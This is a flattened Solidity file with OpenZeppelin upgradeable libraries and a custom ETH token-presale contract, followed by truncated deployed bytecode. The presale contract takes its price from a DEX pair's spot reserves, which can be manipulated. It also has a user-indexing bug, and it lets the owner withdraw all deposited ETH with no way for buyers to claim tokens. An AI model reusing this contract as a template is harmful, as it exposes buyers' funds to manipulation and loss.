// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts-upgradeable/proxy/Initializable.sol
// solhint-disable-next-line compiler-version
pragma solidity >=0.4.24 <0.8.0;
/**
* @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
* behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an
* external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer
* function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.
*
* TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as
* possible by providing the encoded function call as the `_data` argument to {UpgradeableProxy-constructor}.
*
* CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure
* that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.
*/
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
require(_initializing || _isConstructor() || !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
/// @dev Returns true if and only if the function is running in the constructor
function _isConstructor() private view returns (bool) {
return !AddressUpgradeable.isContract(address(this));
}
}
// File: @openzeppelin/contracts-upgradeable/utils/ContextUpgradeable.sol
pragma solidity >=0.6.0 <0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract ContextUpgradeable is Initializable {
function __Context_init() internal initializer {
__Context_init_unchained();
}
function __Context_init_unchained() internal initializer {
}
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
uint256[50] private __gap;
}
// File: @openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
function __Ownable_init() internal initializer {
__Context_init_unchained();
__Ownable_init_unchained();
}
function __Ownable_init_unchained() internal initializer {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
uint256[49] private __gap;
}
// File: @openzeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20Upgradeable {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts-upgradeable/math/SafeMathUpgradeable.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMathUpgradeable {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
// File: @openzeppelin/contracts-upgradeable/token/ERC20/ERC20Upgradeable.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20Upgradeable is Initializable, ContextUpgradeable, IERC20Upgradeable {
using SafeMathUpgradeable for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
function __ERC20_init(string memory name_, string memory symbol_) internal initializer {
__Context_init_unchained();
__ERC20_init_unchained(name_, symbol_);
}
function __ERC20_init_unchained(string memory name_, string memory symbol_) internal initializer {
_name = name_;
_symbol = symbol_;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal virtual {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
uint256[44] private __gap;
}
// File: contracts/PresaleETH.sol
pragma solidity >=0.6.0;
interface IPair {
function token0() external view returns (address);
function getReserves()
external
view
returns (
uint112 reserve0,
uint112 reserve1,
uint32 blockTimestampLast
);
}
contract PresaleETH is OwnableUpgradeable {
using SafeMathUpgradeable for uint256;
uint256 public totalSupply;
address public ethPair;
address public weth;
uint256 public usdtDecimal;
uint256 public totalSold;
uint256 public loadfiPrice ;
mapping(address => uint256) public balance;
mapping(uint256 => address) public indexUser;
mapping(address => bool) public isExist;
uint256 public _index;
event Buy( address indexed user,uint256 amount);
function init(address _pair,address _weth,uint256 _usdtDecimal) external onlyOwner {
ethPair = _pair;
weth = _weth;
usdtDecimal = _usdtDecimal;
totalSupply = 2500000e18;
loadfiPrice = 26000;
}
function initialize() public initializer {
OwnableUpgradeable.__Ownable_init();
}
function buy()
external
payable
{
if(!isExist[msg.sender]){
_index++;
indexUser[_index] = msg.sender;
}
uint256 amount = get(msg.value);
require(amount.add(totalSold) <= totalSupply,"sell out");
balance[msg.sender] = balance[msg.sender].add(amount);
totalSold = totalSold.add(amount);
emit Buy(msg.sender,amount);
}
function get (uint256 _amount)public view returns (uint256) {
(uint112 _reserve0, uint112 _reserve1, ) = IPair(ethPair).getReserves();
uint256 usdt_reserve = IPair(ethPair).token0() == weth ? uint256(_reserve1) :uint256(_reserve0);
uint256 eth_reserve = IPair(ethPair).token0() == weth ? uint256(_reserve0) : uint256 (_reserve1);
uint amountUSDTEachETH = usdt_reserve.mul(1e18).div(eth_reserve);
return _amount.mul(amountUSDTEachETH).div(loadfiPrice);
}
function end() external onlyOwner {
msg.sender.transfer(address(this).balance);
}
function setMax(uint256 _amount) external onlyOwner{
require(_amount > totalSold);
totalSupply = _amount;
}
} | 0x6080604052600436106101135760003560e01c80638129fc1c116100a0578063a6f2ae3a11610064578063a6f2ae3a1461030d578063ddc3766414610315578063e3d670d71461032a578063efbe1c1c1461035d578063f2fde38b1461037257610113565b80638129fc1c1461026157806386863ec6146102765780638da5cb5b146102b95780639106d7ba146102ce5780639507d39a146102e357610113565b806322d0c30d116100e757806322d0c30d146101c7578063362efc3d146101f85780633fc8cef31461020d578063496b370e14610222578063715018a61461024c57610113565b806213eb4b14610118578063018610801461015f57806318160ddd146101865780631fe9eabc1461019b575b600080fd5b34801561012457600080fd5b5061014b6004803603602081101561013b57600080fd5b50356001600160a01b03166103a5565b604080519115158252519081900360200190f35b34801561016b57600080fd5b506101746103ba565b60408051918252519081900360200190f35b34801561019257600080fd5b506101746103c0565b3480156101a757600080fd5b506101c5600480360360208110156101be57600080fd5b50356103c6565b005b3480156101d357600080fd5b506101dc61043b565b604080516001600160a01b039092168252519081900360200190f35b34801561020457600080fd5b5061017461044a565b34801561021957600080fd5b506101dc610450565b34801561022e57600080fd5b506101dc6004803603602081101561024557600080fd5b503561045f565b34801561025857600080fd5b506101c561047a565b34801561026d57600080fd5b506101c5610526565b34801561028257600080fd5b506101c56004803603606081101561029957600080fd5b506001600160a01b038135811691602081013590911690604001356105d0565b3480156102c557600080fd5b506101dc61067c565b3480156102da57600080fd5b5061017461068b565b3480156102ef57600080fd5b506101746004803603602081101561030657600080fd5b5035610691565b6101c56108a1565b34801561032157600080fd5b506101746109b8565b34801561033657600080fd5b506101746004803603602081101561034d57600080fd5b50356001600160a01b03166109be565b34801561036957600080fd5b506101c56109d0565b34801561037e57600080fd5b506101c56004803603602081101561039557600080fd5b50356001600160a01b0316610a5e565b606d6020526000908152604090205460ff1681565b606e5481565b60655481565b6103ce610b61565b6001600160a01b03166103df61067c565b6001600160a01b031614610428576040805162461bcd60e51b81526020600482018190526024820152600080516020610f4b833981519152604482015290519081900360640190fd5b606954811161043657600080fd5b606555565b6066546001600160a01b031681565b60685481565b6067546001600160a01b031681565b606c602052600090815260409020546001600160a01b031681565b610482610b61565b6001600160a01b031661049361067c565b6001600160a01b0316146104dc576040805162461bcd60e51b81526020600482018190526024820152600080516020610f4b833981519152604482015290519081900360640190fd5b6033546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3603380546001600160a01b0319169055565b600054610100900460ff168061053f575061053f610b65565b8061054d575060005460ff16155b6105885760405162461bcd60e51b815260040180806020018281038252602e815260200180610efc602e913960400191505060405180910390fd5b600054610100900460ff161580156105b3576000805460ff1961ff0019909116610100171660011790555b6105bb610b76565b80156105cd576000805461ff00191690555b50565b6105d8610b61565b6001600160a01b03166105e961067c565b6001600160a01b031614610632576040805162461bcd60e51b81526020600482018190526024820152600080516020610f4b833981519152604482015290519081900360640190fd5b606680546001600160a01b039485166001600160a01b03199182161790915560678054939094169216919091179091556068556a0211654585005212800000606555616590606a55565b6033546001600160a01b031690565b60695481565b6000806000606660009054906101000a90046001600160a01b03166001600160a01b0316630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b1580156106e457600080fd5b505afa1580156106f8573d6000803e3d6000fd5b505050506040513d606081101561070e57600080fd5b50805160209182015160675460665460408051630dfe168160e01b815290519497509295506000946001600160a01b03928316949290911692630dfe16819260048083019392829003018186803b15801561076857600080fd5b505afa15801561077c573d6000803e3d6000fd5b505050506040513d602081101561079257600080fd5b50516001600160a01b0316146107b157826001600160701b03166107bc565b816001600160701b03165b60675460665460408051630dfe168160e01b815290519394506000936001600160a01b039384169390921691630dfe168191600480820192602092909190829003018186803b15801561080e57600080fd5b505afa158015610822573d6000803e3d6000fd5b505050506040513d602081101561083857600080fd5b50516001600160a01b03161461085757826001600160701b0316610862565b836001600160701b03165b905060006108828261087c85670de0b6b3a7640000610c13565b90610c75565b606a549091506108969061087c8984610c13565b979650505050505050565b336000908152606d602052604090205460ff166108e257606e8054600101908190556000908152606c6020526040902080546001600160a01b031916331790555b60006108ed34610691565b905060655461090760695483610cdc90919063ffffffff16565b1115610945576040805162461bcd60e51b81526020600482015260086024820152671cd95b1b081bdd5d60c21b604482015290519081900360640190fd5b336000908152606b602052604090205461095f9082610cdc565b336000908152606b602052604090205560695461097c9082610cdc565b60695560408051828152905133917fe3d4187f6ca4248660cc0ac8b8056515bac4a8132be2eca31d6d0cc170722a7e919081900360200190a250565b606a5481565b606b6020526000908152604090205481565b6109d8610b61565b6001600160a01b03166109e961067c565b6001600160a01b031614610a32576040805162461bcd60e51b81526020600482018190526024820152600080516020610f4b833981519152604482015290519081900360640190fd5b60405133904780156108fc02916000818181858888f193505050501580156105cd573d6000803e3d6000fd5b610a66610b61565b6001600160a01b0316610a7761067c565b6001600160a01b031614610ac0576040805162461bcd60e51b81526020600482018190526024820152600080516020610f4b833981519152604482015290519081900360640190fd5b6001600160a01b038116610b055760405162461bcd60e51b8152600401808060200182810382526026815260200180610ed66026913960400191505060405180910390fd5b6033546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3603380546001600160a01b0319166001600160a01b0392909216919091179055565b3390565b6000610b7030610d36565b15905090565b600054610100900460ff1680610b8f5750610b8f610b65565b80610b9d575060005460ff16155b610bd85760405162461bcd60e51b815260040180806020018281038252602e815260200180610efc602e913960400191505060405180910390fd5b600054610100900460ff16158015610c03576000805460ff1961ff0019909116610100171660011790555b610c0b610d3c565b6105bb610ddc565b600082610c2257506000610c6f565b82820282848281610c2f57fe5b0414610c6c5760405162461bcd60e51b8152600401808060200182810382526021815260200180610f2a6021913960400191505060405180910390fd5b90505b92915050565b60008